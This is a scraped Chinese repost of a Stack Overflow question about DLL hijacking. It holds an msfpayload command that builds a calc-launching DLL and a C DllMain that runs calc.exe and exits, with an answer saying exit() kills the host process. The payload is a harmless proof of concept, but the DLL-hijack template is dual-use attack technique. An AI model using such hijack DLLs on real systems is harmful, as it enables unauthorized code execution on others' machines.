gpt4 book ai didi

c - Dll劫持计算器C代码

转载 作者:太空宇宙 更新时间:2023-11-04 02:55:24 25 4
gpt4 key购买 nike

大家好,我是 Dll 劫持的新手。我的问题很少,希望你能帮我澄清我的疑惑。

假设我使用 msfpayload 生成一个 calc dll

msfpayload windows/exec CMD=calc.exe D > abc.dll

msfpayload生成的dll文件运行良好,计算器随软件提示。

所以我使用了以下 C 代码:

#include <windows.h>

int owned()
{
WinExec("calc", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}

当我编译这个并且只使用计算器时会提示。软件不会执行。这是为什么?我使用MinGW GCC编译器编译。

最佳答案

The software won't execute. [W]hy is that?

几乎肯定是因为 owned() 调用了 exit()。这将终止进程。

关于c - Dll劫持计算器C代码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/18173293/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com